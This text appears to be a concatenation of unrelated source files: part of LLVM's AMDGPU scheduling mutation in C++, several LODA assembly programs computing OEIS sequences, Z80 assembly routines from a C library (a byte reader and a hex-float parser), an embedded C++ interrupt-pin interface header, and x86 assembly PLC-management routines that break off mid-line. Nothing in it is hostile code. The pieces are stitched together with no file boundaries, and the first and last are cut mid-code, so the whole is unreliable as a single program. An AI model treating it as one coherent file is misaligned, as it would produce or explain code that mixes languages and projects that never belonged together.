MachineBasicBlock::const_instr_iterator I(UseI->getIterator()); MachineBasicBlock::const_instr_iterator E(UseI->getParent()->instr_end()); unsigned Lat = InstrInfo.getInstrLatency(getInstrItineraryData(), *DefI); for (++I; I != E && I->isBundledWithPred() && Lat; ++I) { if (I->readsRegister(Reg, TRI)) break; --Lat; } Dep.setLatency(Lat); } } namespace { struct FillMFMAShadowMutation : ScheduleDAGMutation { const SIInstrInfo *TII; ScheduleDAGMI *DAG; FillMFMAShadowMutation(const SIInstrInfo *tii) : TII(tii) {} bool isSALU(const SUnit *SU) const { const MachineInstr *MI = SU->getInstr(); return MI && TII->isSALU(*MI) && !MI->isTerminator(); } bool isVALU(const SUnit *SU) const { const MachineInstr *MI = SU->getInstr(); return MI && TII->isVALU(*MI); } bool canAddEdge(const SUnit *Succ, const SUnit *Pred) const { if (Pred->NodeNum < Succ->NodeNum) return true; SmallVector<const SUnit*, 64> Succs({Succ}), Preds({Pred}); for (unsigned I = 0; I < Succs.size(); ++I) { for (const SDep &SI : Succs[I]->Succs) { const SUnit *SU = SI.getSUnit(); if (SU != Succs[I] && llvm::find(Succs, SU) == Succs.end()) Succs.push_back(SU); } } SmallPtrSet<const SUnit*, 32> Visited; while (!Preds.empty()) { const SUnit *SU = Preds.pop_back_val(); if (llvm::find(Succs, SU) != Succs.end()) return false; Visited.insert(SU); for (const SDep &SI : SU->Preds) if (SI.getSUnit() != SU && !Visited.count(SI.getSUnit())) Preds.push_back(SI.getSUnit()); } return true; } // Link as much SALU intructions in chain as possible. Return the size // of the chain. Links up to MaxChain instructions. unsigned linkSALUChain(SUnit *From, SUnit *To, unsigned MaxChain, SmallPtrSetImpl<SUnit *> &Visited) const { SmallVector<SUnit *, 8> Worklist({To}); unsigned Linked = 0; while (!Worklist.empty() && MaxChain-- > 0) { SUnit *SU = Worklist.pop_back_val(); if (!Visited.insert(SU).second) continue; LLVM_DEBUG(dbgs() << "Inserting edge from\n" ; DAG->dumpNode(*From); dbgs() << "to\n"; DAG->dumpNode(*SU); dbgs() << '\n'); if (SU->addPred(SDep(From, SDep::Artificial), false)) ++Linked; for (SDep &SI : From->Succs) { SUnit *SUv = SI.getSUnit(); if (SUv != From && isVALU(SUv) && canAddEdge(SUv, SU)) SUv->addPred(SDep(SU, SDep::Artificial), false); } for (SDep &SI : SU->Succs) { SUnit *Succ = SI.getSUnit(); if (Succ != SU && isSALU(Succ) && canAddEdge(From, Succ)) Worklist.push_back(Succ); } } return Linked; } void apply(ScheduleDAGInstrs *DAGInstrs) override { const GCNSubtarget &ST = DAGInstrs->MF.getSubtarget<GCNSubtarget>(); if (!ST.hasMAIInsts() || DisablePowerSched) return; DAG = static_cast<ScheduleDAGMI*>(DAGInstrs); const TargetSchedModel *TSchedModel = DAGInstrs->getSchedModel(); if (!TSchedModel || DAG->SUnits.empty()) return; // Scan for MFMA long latency instructions and try to add a dependency // of available SALU instructions to give them a chance to fill MFMA // shadow. That is desirable to fill MFMA shadow with SALU instructions // rather than VALU to prevent power consumption bursts and throttle. auto LastSALU = DAG->SUnits.begin(); auto E = DAG->SUnits.end(); SmallPtrSet<SUnit*, 32> Visited; for (SUnit &SU : DAG->SUnits) { MachineInstr &MAI = *SU.getInstr(); if (!TII->isMAI(MAI) || MAI.getOpcode() == AMDGPU::V_ACCVGPR_WRITE_B32 || MAI.getOpcode() == AMDGPU::V_ACCVGPR_READ_B32) continue; unsigned Lat = TSchedModel->computeInstrLatency(&MAI) - 1; LLVM_DEBUG(dbgs() << "Found MFMA: "; DAG->dumpNode(SU); dbgs() << "Need " << Lat << " instructions to cover latency.\n"); // Find up to Lat independent scalar instructions as early as // possible such that they can be scheduled after this MFMA. for ( ; Lat && LastSALU != E; ++LastSALU) { if (Visited.count(&*LastSALU)) continue; if (!isSALU(&*LastSALU) || !canAddEdge(&*LastSALU, &SU)) continue; Lat -= linkSALUChain(&SU, &*LastSALU, Lat, Visited); } } } }; } // namespace void GCNSubtarget::getPostRAMutations( std::vector<std::unique_ptr<ScheduleDAGMutation>> &Mutations) const { Mutations.push_back(std::make_unique<FillMFMAShadowMutation>(&InstrInfo)); } const AMDGPUSubtarget &AMDGPUSubtarget::get(const MachineFunction &MF) { if (MF.getTarget().getTargetTriple().getArch() == Triple::amdgcn) return static_cast<const AMDGPUSubtarget&>(MF.getSubtarget<GCNSubtarget>()); else return static_cast<const AMDGPUSubtarget&>(MF.getSubtarget<R600Subtarget>()); } const AMDGPUSubtarget &AMDGPUSubtarget::get(const TargetMachine &TM, const Function &F) { if (TM.getTargetTriple().getArch() == Triple::amdgcn) return static_cast<const AMDGPUSubtarget&>(TM.getSubtarget<GCNSubtarget>(F)); else return static_cast<const AMDGPUSubtarget&>(TM.getSubtarget<R600Subtarget>(F)); }
; A348314: a(n) = n! * Sum_{k=0..n-1} 4^k / k!. ; Submitted by Christian Krause ; 0,1,10,78,568,4120,30864,244720,2088832,19389312,196514560,2173194496,26128665600,339890756608,4759410116608,71395178280960,1142340032364544,19419853564641280,349557673401188352,6641597100292636672,132831947503410872320,2789470920661372502016 mov $2,2 mov $3,$0 lpb $3 mul $2,$3 add $1,$2 mul $1,4 sub $3,1 lpe mov $0,$1 div $0,8
; A261540: a(n) = n^7 + 7*n^5 + 14*n^3 + 7*n. ; Submitted by Jon Maiga ; 0,29,478,4287,24476,101785,337434,946043,2333752,5206581,10714070,20633239,37597908,65378417,109216786,176222355,275832944,420346573,625528782,911300591,1302512140,1829807049,2530582538,3450050347,4642403496,6172093925,8115226054,10561071303,13613708612,17393796001,22040478210,27713435459,34595078368,42892894077,52841948606,64707550495,78788080764,95417994233,114970997242,137863406811,164557696280,195566232469,231455209398,272848783607,320433416116,374962426065,437260761074,508229989363 mov $2,$0 pow $0,2 add $0,2 mov $1,$2 mul $1,$0 pow $0,2 sub $0,1 add $2,$1 mul $0,$2 sub $0,$1
; A186381: Adjusted joint rank sequence of (f(i)) and (g(j)) with f(i) after g(j) when f(i)=g(j), where f(i)=4i and g(j)=j(j+1)/2 (triangular number). Complement of A186382. ; 3,5,7,9,10,12,14,15,17,18,19,21,22,24,25,26,28,29,30,32,33,34,36,37,38,39,41,42,43,45,46,47,48,50,51,52,53,54,56,57,58,59,61,62,63,64,65,67,68,69,70,71,73,74,75,76,77,79,80,81,82,83,84,86,87,88 mov $2,$0 add $0,1 mul $0,4 seq $0,2024 ; n appears n times; a(n) = floor(sqrt(2n) + 1/2). add $0,$2
; A003757: Number of perfect matchings (or domino tilings) in D_4 X P_(n-1). ; Submitted by Christian Krause ; 0,1,1,6,13,49,132,433,1261,3942,11809,36289,109824,335425,1018849,3104934,9443629,28756657,87504516,266383153,810723277,2467770054,7510988353,22861948801,69584925696,211799836801,644660351425,1962182349126,5972359368781,18178313978161,55329992188548,168410053077169,512595960817837,1560207957491238,4748863783286881,14454297435974977,43995092132369664,133909532574015169,407585519020921249,1240583509161406950,3776011063728579949,11493188105143927729,34982252477655893124,106476808663086632497 mov $3,1 lpb $0 sub $0,1 add $1,$3 sub $3,$2 sub $4,$5 add $4,$1 add $4,$2 mov $5,$4 mov $4,$2 mov $2,$3 add $4,$1 add $5,$4 mov $3,$5 lpe mov $0,$2
;int __FASTCALL__ readbyte(int handle) ;returns read byte ; ;ZXVGS buffers bytes, when drives a disk interface. ;In case of cable (TMX, UPB), the byte is transmitted each time... ; ; $Id: readbyte.asm,v 1.4 2016/06/23 20:31:34 dom Exp $ ; SECTION code_clib PUBLIC readbyte PUBLIC _readbyte .readbyte ._readbyte LD D,H ;handle to D LD HL,0 PUSH HL ADD HL,SP ;pointer to byte LD BC,1 ;one byte to read RST 8 DEFB $D4 ;exits with BC=bytes read DEC C ;can be 1 (OK) or 0 (error) POP HL ;contains this byte RET Z LD L,C ;HL=-1L here LD H,C RET
SECTION code_clib SECTION code_stdlib PUBLIC __strtod_hex EXTERN asm_isxdigit, asm_tolower, l_char2num, l_eat_hdigits, asm_dhexpop EXTERN derror_znc, __strtod_exponent, __strtod_suffix, asm_dmulpow2 ; supplied by math library: asm_dhexpop, asm_dmulpow2, derror_znc hex_fraction_only: ;; leading decimal point seen ; b = num sig hex digits ; de = original char * ; hl = char * inc hl ld a,(hl) call asm_isxdigit jr c, hex_return_zero_0 ; reject lone decimal point hex_fraction_join: ld e,0 ; exponent adjust / 4 ld c,e ; seen decimal point (0) ;; eliminate leading fraction zeroes hex_fz_loop: cp '0' jr nz, hex_mantissa dec e ; * 2^(-4) inc hl ld a,(hl) call asm_isxdigit jr nc, hex_fz_loop ; if another hex digit hex_zero: ;; digit portion is all zeroes call derror_znc ; exx = 0.0 ld e,0 ; no exponent adjust jp hex_exponent ; look for following exponent hex_return_zero_0: ;; leading '0x.?' seen dec hl hex_return_zero: ;; leading '0x?' seen dec hl ex de,hl ; de = char * jp derror_znc ; return 0.0 __strtod_hex: ;; parse 0xhhh.hhhp+dd ; b = num sig hex digits ; de = original char * ; hl = char * ;; leading '0x' seen inc hl ld a,(hl) cp '.' jr z, hex_fraction_only call asm_isxdigit jr c, hex_return_zero ; if no hex digit but have seen '0' ;; eliminate leading integer zeroes hex_iz_loop: cp '0' jr nz, hex_iz_end inc hl ld a,(hl) jr hex_iz_loop hex_iz_end: call asm_isxdigit jr nc, hex_integer_join cp '.' jr nz, hex_zero ; if '0' string ends in non-digit inc hl ld a,(hl) call asm_isxdigit jr nc, hex_fraction_join jr hex_zero hex_integer_join: ; a = char digit ; b = num sig hex digits ; de = original char * ; hl = char * ld e,0 ; exponent adjust / 4 ld c,1 ; decimal point unseen hex_mantissa: inc b ; generate one additional hex digit for proper normalization srl b ; num sig digits /= 2 jr nc, hex_mantissa_loop inc b ; if num sig digits was odd, round up hex_mantissa_loop: inc hl ; a = char digit ; b = remaining significant digits / 2 ; c = 0 / 1 (0 = decimal point seen) ; e = exponent adjust / 4 ; hl = char * call l_char2num ; a = number add a,a add a,a add a,a add a,a ld d,a ; d = hex digit in top nibble ld a,e add a,c ld e,a ; * 2^4 (if decimal point unseen) hex_mantissa_1: ; b = remaining significant digits / 2 ; d = hex digit (upper nibble filled) ; c = 0 / 1 (0 = decimal point seen) ; e = exponent adjust / 4 ; hl = char * ld a,(hl) call asm_isxdigit jr nc, hex_valid_digit_1 inc c dec c jr z, hex_push_1 ; if decimal point already seen cp '.' jr nz, hex_push_1 dec c ; indicate decimal point seen inc hl jr hex_mantissa_1 hex_valid_digit_1: inc hl ; a = char digit ; b = remaining significant digits / 2 ; d = hex digit (upper nibble filled) ; c = 0 / 1 (0 = decimal point seen) ; e = exponent adjust / 4 ; hl = char * call l_char2num or d ld d,a push de inc sp ld a,e add a,c ld e,a ; * 2^4 (if decimal point unseen) djnz hex_mantissa_0 jr hex_load hex_mantissa_0: ; b = remaining significant digits / 2 ; c = 0 / 1 (0 = decimal point seen) ; e = exponent adjust / 4 ; hl = char * ld a,(hl) call asm_isxdigit jr nc, hex_mantissa_loop inc c dec c jr z, hex_push_0 ; if decimal point already seen cp '.' jr nz, hex_push_0 dec c ; indicate decimal point seen inc hl jr hex_mantissa_0 hex_push_0: ld d,0 hex_push_1: push de inc sp djnz hex_push_0 hex_load: ; c = 0 / 1 (0 = decimal point seen) ; e = exponent adjust / 4 ; hl = char * ; stack = hex digits call asm_dhexpop ; c = 0 / 1 (0 = decimal point seen) ; e = exponent adjust / 4 ; hl = char * ; exx = double x ;; consume extra digits dec c jr nz, hex_consume_fp ; if already seen decimal point hex_consume_ip: ld a,(hl) call asm_isxdigit jr c, hex_consume_point ; if not digit inc e ; * 2^4 inc hl jr hex_consume_ip hex_consume_point: cp '.' jr nz, hex_exponent inc hl hex_consume_fp: call l_eat_hdigits ; consume excess fraction digits hex_exponent: ; Pp ld c,e ld de,0 ; c = exponent adjust / 4 ; hl = char * ; de = 0 ; exx = double x ld a,(hl) call asm_tolower cp 'p' jr nz, hex_suffix hex_read_exponent: inc hl ;; read decimal exponent ; c = exponent adjust / 4 ; hl = char * ; de = 0 ; exx = double x call __strtod_exponent hex_suffix: ;; read optional suffix ; c = exponent adjust / 4 ; hl = char * ; de = exponent ; exx = double x call __strtod_suffix hex_finalize: ex de,hl ;; apply exponent ; c = exponent adjust / 4 ; de = char * ; hl = exponent ; exx = double x ld a,c add a,a sbc a,a sla c rla sla c rla ld b,a add hl,bc ld a,h or l jp nz, asm_dmulpow2 ; x *= 2^(HL) ret
#pragma once #include <functional> #include "../error.hpp" #include "../input_pin/pin_resistors.hpp" namespace embed { /** * @brief Digital interrupt pin hardware abstraction. * * Use this to trigger an interrupt service routine (ISR) when a pin detects a * falling edge (when the pin's voltage transitions from HIGH to LOW), a rising * edge (when the pin's voltage transitions from LOW to HIGH), or any transition * of state on the pin. * */ class interrupt_pin { public: /// Generic settings for interrupt pins struct settings { /// pull resistor for an interrupt pin. Generally advised to NOT use /// `pin_resistor::none` and if it is used and external pull resistor should /// be placed on the pin to prevent random interrupt from firing. pin_resistor resistor = pin_resistor::pull_up; }; /// The condition in which an interrupt is triggered. enum class trigger_edge { /// Trigger and interrupt when a pin transitions from HIGH voltage to /// LOW voltage. falling = 0, /// Trigger and interrupt when a pin transitions from LOW voltage to /// HIGH voltage. rising = 1, /// Trigger and interrupt when a pin transitions it state both = 2, }; /** * @brief Configure the interrupt pin to match the settings supplied * * @param p_settings - settings to apply to interrupt pin * @return boost::leaf::result<void> - any error that occurred during this * operation. Will return embed::error::invalid_settings if the settings could * not be achieved. */ [[nodiscard]] boost::leaf::result<void> configure( const settings& p_settings) noexcept { return driver_configure(p_settings); } /** * @brief Return the voltage level of the pin * * @return boost::leaf::result<void> - any error that occurred during this * operation. */ [[nodiscard]] boost::leaf::result<bool> level() noexcept { return driver_level(); } /** * @brief Enable interrupts for this pin. Pass in the callback to be executed * when the trigger condition is met. This function can be called multiple * times if the callback or trigger conditions need to be changed. * detach_interrupts() does not need to be called before re-running this * function. * * @param p_callback function to execute when the trigger condition is met * @param p_trigger the trigger condition that will signal the system to run * the callback. * @return boost::leaf::result<void> - any error that occurred during this * operation. */ [[nodiscard]] boost::leaf::result<void> attach_interrupt( std::function<void(void)> p_callback, trigger_edge p_trigger) noexcept { return driver_attach_interrupt(p_callback, p_trigger); } /** * @brief Disable interrupts for this pin * * @return boost::leaf::result<void> - any error that occurred during this * operation. */ [[nodiscard]] boost::leaf::result<void> detach_interrupt() noexcept { return driver_detach_interrupt(); } private: virtual boost::leaf::result<void> driver_configure( const settings& p_settings) noexcept = 0; virtual boost::leaf::result<bool> driver_level() noexcept = 0; virtual boost::leaf::result<void> driver_attach_interrupt( std::function<void(void)> p_callback, trigger_edge p_trigger) noexcept = 0; virtual boost::leaf::result<void> driver_detach_interrupt() noexcept = 0; }; } // namespace embed
include w2.inc include noxport.inc include consts.inc include structs.inc createSeg clsplc_PCODE,clsplcn,byte,public,CODE ; DEBUGGING DECLARATIONS ifdef DEBUG midClsplcn equ 26 ; module ID, for native asserts endif ; EXTERNAL FUNCTIONS externFP <FChngSizePhqLcb> externFP <ReloadSb> externFP <N_QcpQfooPlcfoo> externFP <AdjustHplcCpsToLim> ifdef DEBUG externFP <AssertProcForNative> externFP <FCheckHandle> externFP <S_FOpenPlc> externFP <S_FStretchPlc> externFP <S_ShrinkPlc> endif sBegin data ; ; /* E X T E R N A L S */ ; externW mpsbps ; extern SB mpsbps[]; externW vmerr ; extern struct MERR vmerr; externW vfUrgentAlloc ; extern int vfUrgentAlloc; externW vfInCommit ; extern int vfInCommit; ifdef DEBUG externW wFillBlock externW vsccAbove externW vpdrfHead externW vpdrfHeadUnused endif ;/* DEBUG */ sEnd data ; CODE SEGMENT _clsplcn sBegin clsplcn assumes cs,clsplcn assumes ds,dgroup assumes ss,dgroup include asserth.asm ;------------------------------------------------------------------------- ; FInsertInPlc(hplc, i, cp, pch) ;------------------------------------------------------------------------- ;/* F I N S E R T I N P L C */ ;/* open space in PLC and copy passed cp to plc.rgcp[i], and move structure ; foo pointed to by pch to the ith entry in the range of foos. */ ;EXPORT FInsertInPlc(hplc, i, cp, pch) ;struct PLC **hplc; ;int i; ;CP cp; ;char *pch; ;{ ; %%Function:N_FInsertInPlc %%Owner:BRADV cProc N_FInsertInPlc,<PUBLIC,FAR>,<si,di> ParmW hplc ParmW iArg ParmD cpArg ParmW pch cBegin ; Assert(hplc); ifdef DEBUG push ax push bx push cx push dx mov ax, midClsplcn mov bx, 1001 ; label # for native assert cCall AssertHForNative,<[hplc], ax, bx> pop dx pop cx pop bx pop ax endif ;/* DEBUG */ ; if (!FOpenPlc(hplc, i, 1)) ; return fFalse; mov bx,[hplc] mov si,[iArg] mov ax,1 push bx ;save hplc push bx push si push ax ifdef DEBUG cCall S_FOpenPlc,<> else ;not DEBUG push cs call near ptr N_FOpenPlc endif ;DEBUG pop bx ;restore hplc or ax,ax je FIIP03 ; Assert((*hplc)->cb == 0 || pch != NULL); ifdef DEBUG push ax push bx push cx push dx mov bx,[hplc] mov bx,[bx] cmp [bx.cbPlc],0 je FIIP01 cmp [pch],NULL jne FIIP01 mov ax,midClsplcn mov bx,1022 cCall AssertProcForNative,<ax,bx> FIIP01: pop dx pop cx pop bx pop ax endif ;/* DEBUG */ ; if ((*hplc)->cb) PutPlc(hplc, i, pch); ; PutCpPlc(hplc, i, cp); ; QcpQfooPlcfoo takes hplcfoo in bx, ifoo in si, it returns pplcfoo ; in bx, cbfoo in cx, qcp in es:di, qfoo in es:si. ; if DEBUG it returns hpcp in dx:di, hpfoo in dx:si. ; Changes ax, bx, cx, dx, si, di. ifdef DEBUG xor di,di ;Not O.K. to pass ifldMac endif ;DEBUG cCall N_QcpQfooPlcfoo,<> ifdef DEBUG ;Check that es == mpsbps[dx]; call FIIP04 endif ;DEBUG ;***Begin in-line PutCpPlc mov dx,[iArg] cmp dx,[bx.icpAdjustPlc] mov ax,[OFF_cpArg] mov dx,[SEG_cpArg] jl FIIP02 sub ax,[bx.LO_dcpAdjustPlc] sbb dx,[bx.HI_dcpAdjustPlc] FIIP02: mov es:[di],ax mov es:[di+2],dx ;***End in-line PutCpPlc ;***Begin in-line PutPlc mov di,si mov si,[pch] rep movsb ;***End in-line PutPlc ; return fTrue; mov ax,fTrue FIIP03: cEnd ifdef DEBUG FIIP04: push ax push bx push cx push dx push es ;save es from QcpQfooPlcfoo mov bx,dx shl bx,1 mov ax,mpsbps[bx] mov es,ax shr ax,1 jc FIIP05 ;Assembler note: There is no way we should have to call ReloadSb here. ; reload sb trashes ax, cx, and dx ; cCall ReloadSb,<> mov ax,midClsplcn mov bx,1002 cCall AssertProcForNative,<ax,bx> FIIP05: pop ax ;restore es from QcpQfooPlcfoo mov bx,es ;compare with es rederived from the SB of QcpQfooPlcfoo cmp ax,bx je FIIP06 mov ax,midClsplcn mov bx,1003 cCall AssertProcForNative,<ax,bx> FIIP06: pop dx pop cx pop bx pop ax ret endif ;/* DEBUG */ ; End of FInsertInPlc ;------------------------------------------------------------------------- ; FOpenPlc(hplc, i, di) ;------------------------------------------------------------------------- ;/* F O P E N P L C */ ;/* when di > 0, FOpenPlc inserts di empty entries at position i in the PLC. ; when di < 0, FOpenPlc deletes the -di entries beginning at position i ; in the PLC. */ ;NATIVE FOpenPlc(hplc, i, di) ;struct PLC **hplc; ;int i; ;int di; ;{ ; struct PLC *pplc; ; int cpPlc; ; int iMacOld; ; int iMaxNew; ; int cbPlc; Ltemp002: jmp FOP08 ; %%Function:N_FOpenPlc %%Owner:BRADV cProc N_FOpenPlc,<PUBLIC,FAR>,<si,di> ParmW hplc ParmW iArg ParmW diArg cBegin ;/* if no change requested, there's nothing to do. return. */ ; if (di == 0) ; return(fTrue); mov di,[diArg] or di,di jz Ltemp002 ;/* must unwind the fence up to pplc->rgcp[i], because caller is signaling ; intention to alter plc beginning with ith entry (even when di == 0). */ ; pplc = *hplc; ; if (pplc->icpAdjust < i) ; AdjustHplcCpsToLim(hplc, i); mov si,[hplc] mov bx,[si] mov ax,[iArg] cmp [bx.icpAdjustPlc],ax jge FOP01 cCall AdjustHplcCpsToLim,<si,ax> FOP01: ; Assert(i <= pplc->iMac); ifdef DEBUG ; /* Assert (i < pplc->iMac) with a call so as not to mess up ; short jumps */ call FOP10 endif ;/* DEBUG */ ; cbPlc = pplc->cb; ; iMacOld = pplc->iMac; ;Assembler note: get these values when they are needed. ; if (di > 0) ; { or di,di jle FOP03 ; /* we are expanding the plc */ ; if (!FStretchPlc(hplc, di)) ; return fFalse; ;LN_FStretchPlc takes hplc in si and di in di. ;The result is returned in ax. ax, bx, cx, dx, di are altered. call LN_FStretchPlc or ax,ax je Ltemp001 ; pplc = *hplc; ; QcpQfooPlcfoo takes hplcfoo in bx, ifoo in si, it returns pplcfoo ; in bx, cbfoo in cx, qcp in es:di, qfoo in es:si. ; if DEBUG it returns hpcp in dx:di, hpfoo in dx:si. ; Changes ax, bx, cx, dx, si, di. mov bx,si mov si,[bx] mov si,[si.iMacPlcStr] ifdef DEBUG mov di,1 ;O.K. to pass iMac endif ;DEBUG cCall N_QcpQfooPlcfoo,<> ifdef DEBUG ;Check that es == mpsbps[dx]; call FOP12 endif ;DEBUG ;/* move rgfoo entries */ ; BltInPlc(bpmFoo, hplc, i, 0, di, iMacOld - i); ;***Begin in-line BltInPlc push di ;save pcp mov ax,[bx.iMacPlcStr] push es pop ds std sub ax,[iArg] push ax ;save iMacOld - i mul cx xchg ax,cx dec si dec si ;adjust for post-decrement mov di,si mov dx,[diArg] mul dx add di,ax ifdef DEBUG ; /* Assert (!(cx & 1)) with a call so as not to mess up ; short jumps */ call FOP15 endif ;/* DEBUG */ shr cx,1 rep movsw pop cx ;restore iMacOld - i pop di ;restore pcp ;***End in-line BltInPlc ;/* move rgcp entries */ ; BltInPlc(bpmCp, hplc, i, di, 0, iMacOld - i + 1); ;***Begin in-line BltInPlc ;have iMacOld - i in cx inc cx shl cx,1 inc di inc di ;adjust for post-decrement and position after iMac mov si,di mov ax,[diArg] mov dx,ax ;save di for later shl ax,1 shl ax,1 add di,ax rep movsw ;***End in-line BltInPlc cld push ss pop ds ; pplc->iMac = iMacOld + di; add [bx.iMacPlcStr],dx ; if (pplc->icpAdjust < i) ; pplc->icpAdjust = i; mov ax,[iArg] cmp [bx.icpAdjustPlc],ax jge FOP02 mov [bx.icpAdjustPlc],ax FOP02: ; pplc->icpAdjust += di; add [bx.icpAdjustPlc],dx ; } jmp short FOP08 Ltemp001: jmp short FOP09 ; else if (di < 0) ; { ;Assembler note: No need to test for di < 0 here. We know it is. FOP03: ; /* in this case we will be removing di entries */ ; di = -di; neg di ; Assert(i + di <= iMacOld); ifdef DEBUG ; /* Assert (i + di <= iMacOld) with a call so as not to mess up ; short jumps */ call FOP17 endif ;/* DEBUG */ ; iMaxNew = pplc->iMax; ; /* if the Mac is less than half of the Max, we will later ; shift rgcp and foo entries in the PLC and reduce the ; size of the allocation */ ; if ((iMacOld - di) * 2 <= iMaxNew) ; iMaxNew = iMacOld - di; mov bx,[si] mov dx,[bx.iMaxPlc] mov ax,[bx.iMacPlcStr] sub ax,di shl ax,1 cmp ax,dx ja FOP04 shr ax,1 xchg ax,dx FOP04: ; if (pplc->icpAdjust > i + di) ; pplc->icpAdjust -= di; ; else if (pplc->icpAdjust > i) ; pplc->icpAdjust = i; mov ax,[iArg] mov cx,ax add cx,di cmp [bx.icpAdjustPlc],cx jle FOP05 sub [bx.icpAdjustPlc],di jmp short FOP06 FOP05: cmp [bx.icpAdjustPlc],ax jle FOP06 mov [bx.icpAdjustPlc],ax FOP06: ; ShrinkPlc(hplc, iMaxNew, i, di); push si push dx push ax push di ifdef DEBUG cCall S_ShrinkPlc,<> else ;not DEBUG push cs call near ptr N_ShrinkPlc endif ;DEBUG ;/* blow the hint for the binary search. */ ; pplc = *hplc; ; if (pplc->icpHint >= pplc->iMac) ; pplc->icpHint = 0; mov bx,[si] mov ax,[bx.iMacPlcStr] cmp [bx.icpHintPlc],ax jl FOP07 mov [bx.icpHintPlc],0 FOP07: ; } ; return (fTrue); FOP08: mov ax,fTrue FOP09: ifdef DEBUG push ax push bx push cx push dx mov bx,[hplc] mov bx,[bx] mov ax,[bx.iMacPlcStr] cmp ax,[bx.iMaxPlc] jb FOP095 mov ax,midClsplcn mov bx,1020 cCall AssertProcForNative,<ax,bx> FOP095: pop dx pop cx pop bx pop ax endif ;/* DEBUG */ ;} cEnd ifdef DEBUG ; Assert(i <= pplc->iMac); FOP10: push ax push bx push cx push dx mov ax,[iArg] mov bx,[hplc] mov bx,[bx] cmp ax,[bx.iMacPlcStr] jle FOP11 mov ax,midClsplcn mov bx,1004 cCall AssertProcForNative,<ax,bx> FOP11: pop dx pop cx pop bx pop ax ret endif ;/* DEBUG */ ifdef DEBUG FOP12: push ax push bx push cx push dx push es ;save es from QcpQfooPlcfoo mov bx,dx shl bx,1 mov ax,mpsbps[bx] mov es,ax shr ax,1 jc FOP13 ;Assembler note: There is no way we should have to call ReloadSb here. ; reload sb trashes ax, cx, and dx ; cCall ReloadSb,<> mov ax,midClsplcn mov bx,1005 cCall AssertProcForNative,<ax,bx> FOP13: pop ax ;restore es from QcpQfooPlcfoo mov bx,es ;compare with es rederived from the SB of QcpQfooPlcfoo cmp ax,bx je FOP14 mov ax,midClsplcn mov bx,1006 cCall AssertProcForNative,<ax,bx> FOP14: pop dx pop cx pop bx pop ax ret endif ;/* DEBUG */ ifdef DEBUG ; Assert(!(cx & 1)); FOP15: test cl,1 je FOP16 push ax push bx push cx push dx push ss pop ds cld mov ax,midClsplcn mov bx,1007 cCall AssertProcForNative,<ax,bx> std pop dx pop cx pop bx pop ax FOP16: ret endif ;/* DEBUG */ ifdef DEBUG ; Assert(i + di <= iMacOld); FOP17: push ax push bx push cx push dx mov ax,[iArg] add ax,di mov bx,[hplc] mov bx,[bx] cmp ax,[bx.iMacPlcStr] jle FOP18 mov ax,midClsplcn mov bx,1008 cCall AssertProcForNative,<ax,bx> FOP18: pop dx pop cx pop bx pop ax ret endif ;/* DEBUG */ ;------------------------------------------------------------------------- ; ShrinkPlc(hplc, iMaxNew, i, di) ;------------------------------------------------------------------------- ;/* S H R I N K P L C */ ;/* shrink size to iMaxNew while deleting di entries starting with i */ ;ShrinkPlc(hplc, iMaxNew, i, di) ;struct PLC **hplc; int iMaxNew, i, di; ;{ ; struct PLC *pplc = *hplc; ; int iMaxOld = pplc->iMax; ; int iMacOld = pplc->iMac; ; int iLim = i + di; ; int cbPlc = pplc->cb; ; int dicp; ; %%Function:N_ShrinkPlc %%Owner:BRADV cProc N_ShrinkPlc,<PUBLIC,FAR>,<si,di> ParmW hplc ParmW iMaxNew ParmW iArg ParmW diArg cBegin ; QcpQfooPlcfoo takes hplcfoo in bx, ifoo in si, it returns pplcfoo ; in bx, cbfoo in cx, qcp in es:di, qfoo in es:si. ; if DEBUG it returns hpcp in dx:di, hpfoo in dx:si. ; Changes ax, bx, cx, dx, si, di. mov bx,[hplc] mov si,[iArg] add si,[diArg] push si ;save i + di ifdef DEBUG mov di,1 ;O.K. to pass iMac endif ;DEBUG cCall N_QcpQfooPlcfoo,<> ifdef DEBUG ;Check that es == mpsbps[dx]; call SP03 endif ;DEBUG pop ax ;restore i + di ; pplc->iMac = iMacOld - di; ;Assembler note: This is done later in the assembler version. ; /* shift down rgcp[j] for j >= i + di */ ; BltInPlc(bpmCp, hplc, iLim, -di, 0, (iMacOld + 1) - iLim); ;***Begin in-line BltInPlc mov cx,[bx.iMacPlcStr] push es pop ds push si ;save pfoo mov si,di ;&rgcp[i+di] mov dx,[diArg] shl dx,1 shl dx,1 sub di,dx ;&rgcp[i] inc cx sub cx,ax shl cx,1 rep movsw pop si ;restore pfoo ;***End in-line BltInPlc ; /* shift down rgfoo[j] for 0 <=j < i to cover any rgcp entries ; that must be reclaimed. */ ; Assert(iMaxNew <= iMaxOld); ; iMaxNew = min(iMaxNew + 5, iMaxOld); /* leave some room */ ; dicp = iMaxOld - iMaxNew; ; if (dicp && i > 0) ; BltInPlc(bpmFoo, hplc, 0, -dicp, 0, i); xor dx,dx ;default no movement due to iMax change mov cx,[iMaxNew] add cx,5 sub cx,ss:[bx.iMaxPlc] jge SP01 push si ;save pfoo add ss:[bx.iMaxPlc],cx ;***Begin in-line BltInPlc mul ss:[bx.cbPlc] ;already have i+di in ax sub si,ax ;&rgcp[iMaxNew] mov di,si mov ax,[iArg] mul ss:[bx.cbPlc] mov dx,cx shl dx,1 shl dx,1 add di,dx ;&rgcp[iMaxOld] xchg ax,cx ifdef DEBUG ; /* Assert (!(cx & 1)) with a call so as not to mess up ; short jumps */ call SP06 endif ;/* DEBUG */ shr cx,1 rep movsw ;***End in-line BltInPlc pop si ;restore pfoo SP01: push dx ;save diMax << 2 ;Assembler note: the following line is done above in the C version. ; pplc->iMac = iMacOld - di; mov ax,[diArg] sub ss:[bx.iMacPlcStr],ax ; /* shift down rgfoo[i] for j >= i + di to cover space reclaimed ; from deleted rgfoos */ ; BltInPlc(bpmFoo, hplc, iLim, -dicp, -di, iMacOld - iLim); ;***Begin in-line BltInPlc mov di,si add di,dx ;adjust for iMax change mov cx,ss:[bx.cbPlc] mul cx sub di,ax ;adjust for di foo's ;Assembler note: At this point pplc->iMac is iMacOld - di, and we ;want iMacOld - iLim = iMacOld - (i + di) = (iMacOld - di) - i mov ax,ss:[bx.iMacPlcStr] sub ax,[iArg] mul cx xchg ax,cx ifdef DEBUG ; /* Assert (!(cx & 1)) with a call so as not to mess up ; short jumps */ call SP06 endif ;/* DEBUG */ shr cx,1 rep movsw ;***End in-line BltInPlc push ss pop ds ; pplc->iMax = iMaxNew; ; if (iMaxNew < iMaxOld && !vfInCommit) ; { ; if (!pplc->fExternal) ; FChngSizeHCw(hplc, CwFromCch(cbPLCBase + 